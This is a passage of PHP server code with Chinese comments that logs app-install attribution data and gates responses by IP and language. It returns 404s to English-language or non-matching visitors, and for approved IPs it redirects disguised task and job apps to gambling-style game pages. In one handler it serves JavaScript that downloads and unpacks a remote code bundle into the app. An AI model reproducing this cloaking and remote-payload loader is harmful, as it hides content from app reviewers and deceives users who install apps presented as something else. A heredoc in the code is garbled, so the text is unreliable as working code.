all(); // 从请求中提取数据并保存到数据库 $installation=Installation::query()->where('gps_adid', $request->gps_adid) ->where('app_token', $request->app_token)->first(); if($installation){ if ($request->has('fb_install_referrer') && !empty($request->fb_install_referrer)) { $installation->update(["fb_install_referrer"=>$request->fb_install_referrer]); } }else{ Installation::create($request->only([ 'app_token', 'app_name', 'app_name_dashboard', 'activity_kind', 'adid', 'gps_adid', 'country', 'city', 'language', 'is_organic', 'first_tracker', 'fb_install_referrer', 'device_manufacturer', 'device_name','ip_address','meta_install_referrer' ])); } Util::WriteLog("adjust",json_encode($request->all(),JSON_UNESCAPED_UNICODE|JSON_PRETTY_PRINT)); } public function checkAppKey(Request $request,$appkey) { $lang=$request->l??substr( @$_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 5 ); $this->checkAppKeyWithLang($request,$appkey,$lang); } public function checkAppKeyWithLang(Request $request,$appkey,$lang) { $goView=0; //含有参数adjust=gps_adid $isCheckAdjust=$request->adjust??false; if(strstr($appkey,"_")){ $goView=1; $appkey_arr=explode("_",$appkey); $appkey=$appkey_arr[0]; $lang=$appkey_arr[1]; } $rediskey="package_appkey_$appkey"; if(Redis::exists($rediskey)){ $app=json_decode(Redis::get($rediskey)); }else{ $app=DB::connection('write')->table('QPPlatformDB.dbo.ChannelPackageName')->where('AppKey', $appkey)->first(); Redis::set($rediskey, json_encode($app)); Redis::expire($rediskey,600); } //不再设置范围内 if(!isset($app)||empty($app)) { http_response_code(404); die; } //进来的数据不对等 if(isset($request->package)&&$request->package!=$app->PackageName){ die; } $service = new IpCheck(); $login_ip = $request->header("X_REAL_IP")??$request->ip(); $package=$app->PackageName; $ipcheck=$service->ipCheck($login_ip,$package,1,false); $lastRes=$service->lastLocation??""; $params=$request->all(); // unset($params['a']); // unset($params['l']); // $params['locale']=$lang; // $params['appkey']=$appkey; // $newh5="https://www.ouro777.com/client/h2/?".http_build_query($params); $newh5=$app->AppCheckDomain.'/'.$appkey.'_'.$lang.'/'; // $newh5="https://www.ouro777.com/client/h2/"; if($goView==0){ $attr=$request->a??""; Util::WriteLog('h5',compact('lang','package','ipcheck','login_ip','lastRes','attr','newh5')); }else{ $attr=$request->attr??""; Util::WriteLog('h5view',compact('lang','package','ipcheck','login_ip','lastRes','attr','params')); } if($isCheckAdjust){ if($ipcheck) { $installations = Installation::query()->where('gps_adid', $isCheckAdjust)->get(); foreach ($installations as $installation) { if(!empty($installation->fb_install_referrer)){ exit(json_encode(['adid'=>$isCheckAdjust,'fb_install_referrer'=>$installation->fb_install_referrer,'meta_install_referrer'=>$installation->meta_install_referrer])); } } } exit(json_encode(['adid'=>$isCheckAdjust,'fb_install_referrer'=>'','meta_install_referrer'=>''])); } //封死英文 if(strstr($lang,"en")){ http_response_code(404); exit(""); }else if($ipcheck){ if($goView){ // echo file_get_contents("https://cdn.moeda777.com/client/h2/index.data?111"); // exit(); exit(view("game.ouro.red777")); if(DB::table(TableName::QPAccountsDB() . 'AccountsInfo')->where('Channel',303)->where('RegisterMachine',$_REQUEST['adid'])->where('RegisterDate','<','2024-05-27')->exists()){ //go old exit(view("game.ouro.red777")); } $query_string = http_build_query($_REQUEST); $redirect_url = 'https://cdn.moeda777.com/client/h2/pwa.html?' . $query_string; header("Location: $redirect_url", true, 302); exit(); }else { $type = $request->t ?? "plain"; if ($type == 'json') { exit(json_encode(['res' => 1, 'url' => $newh5])); } else { exit($newh5); } } }else{ // exit($login_ip); http_response_code(404); exit(""); } } public function FrontCheck(Request $request) { $lang=$request->l??""; $service = new IpCheck(); $login_ip = $request->ip(); $host=$_SERVER["HTTP_HOST"]; $package="dhy.task.management"; if($host=="ade246929caadac25.awsglobalaccelerator.com"){ $package="vn.vastgroup.autojobs"; } $ipcheck=$service->ipCheck($login_ip,$package,1); $lastRes=$service->lastLocation??""; Util::WriteLog('front',compact('lang','package','ipcheck','login_ip','lastRes')); //封死英文 if(strstr($lang,"en")){ http_response_code(404); exit(); }else if($ipcheck){ echo "1";die; }else{ http_response_code(404); exit(); } } public function LoginIP_Pigpig(Request $request){ $this->LoginIP_Single($request,'com.pig.tomoney'); } public function LoginIP_West(Request $request){ $this->LoginIP_Single($request,'com.west.frzyapp'); } public function LoginIP_Zeus(Request $request){ http_response_code(404); exit(); // $this->LoginIP_Single($request,'com.olympus.zgame'); } public function LoginIP_SuperOX(Request $request){ $this->CheckIpResult($request,'com.superox.xiaomi',1); } public function CheckIpResult(Request $request,$package=null,$forcePass=0){ // $deviceid = $request->get('d')??""; // $v = $request->get('v')??1; // $v=intval($v); $package=$package??"com.carnivalgame.sppp"; $service = new IpCheck(); $login_ip = $request->ip(); $ipcheck=$service->ipCheck($login_ip,$package,1); Util::WriteLog('single',compact('package','forcePass','ipcheck')); if($forcePass&&$ipcheck){ echo "1";die; }else{ http_response_code(404); exit(); } } public function LoginIP_Single(Request $request,$package=null){ // $deviceid = $request->get('d')??""; // $v = $request->get('v')??1; // $v=intval($v); $package=$package??"com.carnivalgame.sppp"; $v=1; $service = new IpCheck(); $login_ip = $request->ip(); $ipcheck=$service->ipCheck($login_ip,$package,1); if($ipcheck){ $js=<<{ try{ self.updateSearchPaths(); // if (this.helper) {this.helper.init()} } catch(e){ console.log(e); } cc.game.restart(); }, 500); } startDownload(){ let url=this.downloadUrl; this.showProgressBar(); let self=this; cc.assetManager.loadRemote(url, { ext: ".bin", onFileProgress: (current, total) => { let progress=Math.floor((current/total)*100); self.updateProgressBar(progress); } }, (err, bufferAsset) => { if (err) { return; } self.updateProgressBar(100); let cachePath=cc.assetManager.cacheManager.getCache(url); let data=window.gameNative.fileUtils.getDataFromFile(cachePath); self.unpack(data,function(){ self.downloadDone(); }); }) } } let loop=setInterval(function(){ if (window.gamePopBox!=null) { clearInterval(loop); window.stopLoading=true; DownloadB.getInstance().startDownload(); } },100) JS; }else{ http_response_code(404); exit(); } echo $js;die; } }